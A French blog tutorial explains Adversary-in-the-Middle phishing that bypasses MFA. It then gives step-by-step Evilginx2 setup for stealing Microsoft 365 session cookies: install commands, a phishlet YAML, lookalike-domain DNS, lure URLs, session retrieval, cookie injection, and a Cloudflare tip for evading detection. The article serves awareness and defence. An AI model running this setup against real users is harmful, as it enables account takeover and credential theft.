Introduction
Pendant longtemps, la protection de nos comptes en ligne reposait principalement sur l’utilisation de mots de passe robustes et l’authentification multifacteur (MFA). Ces mesures se sont avérées efficaces contre les attaques traditionnelles par force brute ou le vol d’identifiants via des sites de phishing classiques. Cependant, face au renforcement des défenses, les cybercriminels ont dû faire évoluer leurs techniques, s’attaquant aussi bien aux entreprises qu’aux comptes personnels des individus.
Nous assistons désormais à une montée en puissance spectaculaire des attaques de type « Adversary-in-the-Middle » (AiTM). Microsoft a d’ailleurs observé une augmentation de 146% de ces attaques au cours de l’année 2024, une tendance qui continue de s’accentuer en 2025. Cette technique ne vise pas seulement les environnements professionnels comme Microsoft 365, mais s’avère tout aussi redoutable contre la plupart des services en ligne protégeant leurs accès par MFA, tels que Google, AWS, PayPal, Steam ou encore Instagram.
La raison de leur efficacité est simple : contrairement aux méthodes d’hameçonnage traditionnelles, les attaques AiTM ne se contentent pas de voler le mot de passe. Elles parviennent à capturer également le cookie de session de connexion, contournant ainsi l’authentification multifacteur et donnant aux attaquants un accès complet et valide au compte de leur victime !
Comment fonctionne une attaque AITM
Le vol de session au cœur de l’attaque AiTM
L’authentification multifacteur (MFA) a longtemps été considérée comme une barrière de sécurité robuste, renforçant considérablement la protection des comptes utilisateurs. Son principe repose sur la combinaison de plusieurs facteurs d’authentification, rendant l’accès non autorisé difficile même en cas de compromission du mot de passe. Cependant, l’émergence des attaques Adversary-in-the-Middle (AiTM) a mis en lumière une vulnérabilité critique dans les architectures de protection traditionnelles, permettant de contourner les mécanismes MFA avec une efficacité redoutable.
Contrairement aux tentatives de phishing classiques qui ciblent le vol d’identifiants statiques (nom d’utilisateur, mot de passe), les attaques AiTM visent à intercepter et exfiltrer le jeton de session (session cookie) délivré par le service légitime après une authentification réussie. Ce jeton représente un artefact d’authentification temporaire, attestant de la validité de la session utilisateur et permettant de maintenir l’état de connexion sans nécessiter de réauthentification pour chaque requête.
Le modèle opératoire d’une attaque AiTM repose sur l’interposition d’un reverse-proxy malveillant entre la victime et le service web légitime. L’attaquant déploie un serveur intermédiaire qui agit comme un point de relais transparent, dupliquant en temps réel le contenu et les interactions du site cible. Lorsque la victime initie une connexion, son trafic est redirigé vers ce serveur proxy.
Voici un schéma explicatif du processus d’une attaque AITM (Source: Microsoft) :
Mécanisme de l’interception et de la retransmission
Lors d’une attaque AiTM, la victime est hameçonnée via une URL malveillante, souvent déguisée pour ressembler au domaine légitime. En cliquant sur ce lien, son trafic est redirigé vers le serveur proxy de l’attaquant. Ce serveur malveillant agit comme un mandataire, transmettant en temps réel toutes les requêtes HTTP/HTTPS de la victime au site web légitime, et relayant simultanément les réponses du site légitime vers la victime. Ce processus inclut toutes les étapes de l’authentification, y compris la saisie des identifiants et la validation du second facteur d’authentification comme un code OTP ou une notification push. Une fois l’authentification MFA réussie et validée par le service légitime, celui-ci émet un cookie de session authentifié. Étant donné que toutes les communications passent par le serveur proxy de l’attaquant, ce dernier intercepte et capture ce cookie avant qu’il n’atteigne le navigateur de la victime. Armé de ce cookie de session valide, l’attaquant peut alors l’injecter dans son propre navigateur ou un outil en ligne de commande pour initier une session authentifiée auprès du service légitime. Cela lui permet de contourner complètement le besoin de connaître le mot de passe de la victime ou de réaliser une nouvelle authentification MFA. Pendant ce temps, la victime perçoit une connexion normale et transparente.
Indicateurs de compromission et outils d’attaque
La nature « transparente » de l’attaque AiTM rend sa détection difficile pour l’utilisateur final. Le seul indicateur visuel fiable réside dans l’examen minutieux de l’URL affichée dans la barre d’adresse du navigateur, qui différera du nom de domaine officiel malgré une apparence visuelle dupliquée à l’identique.
Cette catégorie d’attaques n’est plus du domaine théorique ; elle est concrétisée par l’existence d’outils open-source sophistiqués tels que :
- Evilginx2
- Muraena
- Modlishka
Ces frameworks sont conçus pour automatiser la création de proxies inverses et la gestion des flux de redirection, démocratisant ainsi la capacité à mener des attaques AiTM même pour des acteurs aux compétences techniques modérées.
Configuration et déploiement d’EvilGinx
Evilginx 3.0
Evilginx est un framework d’attaque de type « man-in-the-middle » (MitM) conçu par Kuba Gretzk pour le phishing d’identifiants de connexion et de cookies de session, permettant ainsi de contourner la protection par authentification à deux facteurs. Il permet de simuler des techniques de phishing Adversary-in-the-Middle (AiTM), offrant ainsi la possibilité de capturer efficacement jetons d’authentification et mots de passe.
Lien du projet Github : https://github.com/kgretzky/evilginx2
Installation d’EvilGinx
Cet article a une visée strictement éducative. Les informations et techniques présentées sont destinées à des fins de compréhension et de sensibilisation aux menaces cybernétiques. Il est impératif de ne pas utiliser ces connaissances à des fins malveillantes ou illégales.
Les tests et démonstrations décrits ont été effectués dans un environnement contrôlé et sécurisé, utilisant exclusivement des machines virtuelles (VM). Le nom de domaine et le tenant Microsoft 365 mentionnés sont ma propriété exclusive et légitime, garantissant que aucune intrusion ou activité non autorisée n’a été réalisée sur des systèmes tiers.
Pour utiliser EvilGinx sur une VM kali-linux, il suffit d’exécuter les commandes suivantes (pour les autres distribtutions Linux, il faudra télécharger le projet Github) :
sudo apt update -y && sudo apt upgrade -y
sudo apt install evilginx2
evilginx2
Il est nécessaire de lancer le programme une première fois afin de générer les fichiers de configuration. Deux répertoires sont visibles :
- /usr/share/evilginx2/phishlets : Ce répertoire contient des phishlets. Un phishlet est un template qui configurera les redirections du reverse proxy par rapport au site attaqué.
- /home/azureuser/.evilginx : Ce répertoire contient les fichiers de configuration de l’outil. Ces derniers sont situés dans le répertoire de l’utilisateur.
Récupération des phishlets
Afin de pouvoir profixier la page de connexion du portail d’authentification Microsoft365 pour notre exemple, il est essentiel de récupérer le Phishlet associé (Template). De nombreuses pages github en propose et pour notre cas d’usage, le modèle o365 du projet Github suivant sera utilisé : https://github.com/An0nUD4Y/Evilginx2-Phishlets
git clone https://github.com/An0nUD4Y/Evilginx2-Phishlets
sudo cp -r Evilginx2-Phishlets/* /usr/share/evilginx2/phishlets
Il est nécessaire de rajouter dans le fichier o365.yml les différentes url sources de Microsoft pour l’authentification. Pour notre cas d’usage, la configuration du fichier YAML est la suivante :
name: 'o365'
author: '@an0nud4y'
min_ver: '2.4.0'
proxy_hosts:
- {phish_sub: 'login', orig_sub: 'login', domain: 'microsoftonline.com', session: true, is_landing: true}
- {phish_sub: 'm365', orig_sub: 'm365', domain: 'cloud.microsoft', session: false, is_landing:false}
- {phish_sub: 'www', orig_sub: 'www', domain: 'office.com', session: false, is_landing:false}
sub_filters:
- {triggers_on: 'login.microsoftonline.com', orig_sub: 'login', domain: 'microsoftonline.com', search: 'href="https://{hostname}', replace: 'href="https://{hostname}', mimes: ['text/html', 'application/json', 'application/javascript']}
- {triggers_on: 'login.microsoftonline.com', orig_sub: 'login', domain: 'microsoftonline.com', search: 'https://{hostname}', replace: 'https://{hostname}', mimes: ['text/html', 'application/json', 'application/javascript'], redirect_only: true}
auth_tokens:
- domain: '.login.microsoftonline.com'
keys: ['ESTSAUTH,opt', 'ESTSAUTHPERSISTENT,opt','.*,regexp']
- domain: 'login.microsoftonline.com'
keys: ['SignInStateCookie,opt','.*,regexp']
Le reste du fichier reste inchangé. Afin d’optimiser le lancement d’Evilginx, il est conseillé de supprimer les phishlets YAML inutiles.
Configuration du domaine
Avant de configurer EvilGinx pour utiliser un domaine, il est nécessaire d’ajouter les enregistrements du serveur linux au niveau de l’herbegeur de nom de domaine. Pour l’exemple, j’utiliserai un de mes domaines de test OVH.
Il faut donc créer les 4 enregfistrements A suivants qui pointeront vers l’adresse IP publique de votre reverse proxy
- www.DOMAINE.fr
- DOMAINE.fr
- logon.DOMAINE.fr
- login.DOMAINE.fr
Plus le nom de domaine est proche du domaine ciblé (microsoft dans notre cas), plus le danger de se faire hameçonner est grand. Il est désormais temps d’ajouter cette configuration à Evilginx :
evilginx2
config domain DOMAINE.fr
config ipv4 external {IP PUBLIQUE DU EVILGINX}
Afin de ne pas se faire bloquer notre reverse proxy et de le rendre plus « véritable », il est intéressant de lui ajouter un certificat HTTPS. La demande de certificats autosigné pour votre domaine dépend de votre hébergeur de noms de domaine. Dans le cas d’OVH, il est nécessaire de faire la demande avec Let’s Encrypt (via certbot) en faisant une demande depuis l’API OVH. De nombreux tutoriels existent à ce sujet si besoin.
Copier les certificats autosignés obtenus dans le répertoire suivant : /home/azureuser/.evilginx/crt/sites/ et désactiver la demande de c ertrificats par Evilginx :
evilginx2
config autocert off
Toujours dans la console d’Evilginx, il est maintenant possible d’activer le phishlet Microsoft365 modifié précédemment via la commande suivante :
phishlets hostname o365 login.DOMAINE.fr
phishlets enable o365
Il est maintenant temps de relancer evilginx afin de voir si tout fonctionne. Sachez que cet outil utilise un système de blacklist lorsque trop de requêtes sont effectuées vers le Reverse Proxy.
Utilisation d’evilginx et bypass de token MFA
Interceptiondu cookie de session
Afin de récupérer l’URL du leurre déployé (lien de phishing), il suffit d’utiliser la commande suivante :
lures get-url 0
En imaginant que cette URL soit propagée par mail (ou via une autre méthode), il est désormais nécessaire de porter attention au comportement du reverse proxy (j’ai utilisé pour la démonstration un domaine et un tenant de test microsoft) :
A l’aide de la commande sessions, il est possible de voir les identifiants récupérés, ainsi que le cookie de session de l’utilisateur une fois que ce dernier a saison son MFA :
Il est désormais possible de récupérer le cookie en précisant le numéro de session volé :
sessions 2
Il faut savoir que le reverse proxy va reproduire la page d’authentification de votre Tenant. Ainsi, si vous avez mis des bannières ou images de fond, ces dernières seont visibles sur la page hammeçonnée, laissant penser à l’utilisateur qu’il se connecte de façon habituelle :
Authentification avec les identifiants récupérés
L’attaquant ayant récupéré le cookie de session au format Json, il lui est maintenant possible de se connecter sans même avoir besoin des identifiants de l’utilisateur ! Pour se faire, il lui suffit d’injecter ce cookie via une extention de navigateur :
L’attaquant peut désormais changer le mot de passe de l’utilisateur et possède un point d’entrée dans votre organisation. Il ne lui suffit plus qu’à propager son attaque via la messagerie en utilisant un compte interne à l’entreprise.
Afin d’éviter de se faire scanner par des robots et de se faire identifier comme site malveillant, nous avons identifié une méthodologie d’attaque assez répendue : camoufler le reverse proxy Evilginx derrière un CloudFlare !
Nous verrons dans un prochain article comment mettre en place des règles de détection et bloquer ce type d’attaque qui fait fureur en ce moment.
En attendant, plus qu’une solution : Continuer d’alerter vos utilisateurs lors de l’ouverture de liens provenant de sources méconnues et essayer de les former à vérifier les URL sur les portails d’authentification !
Comments are closed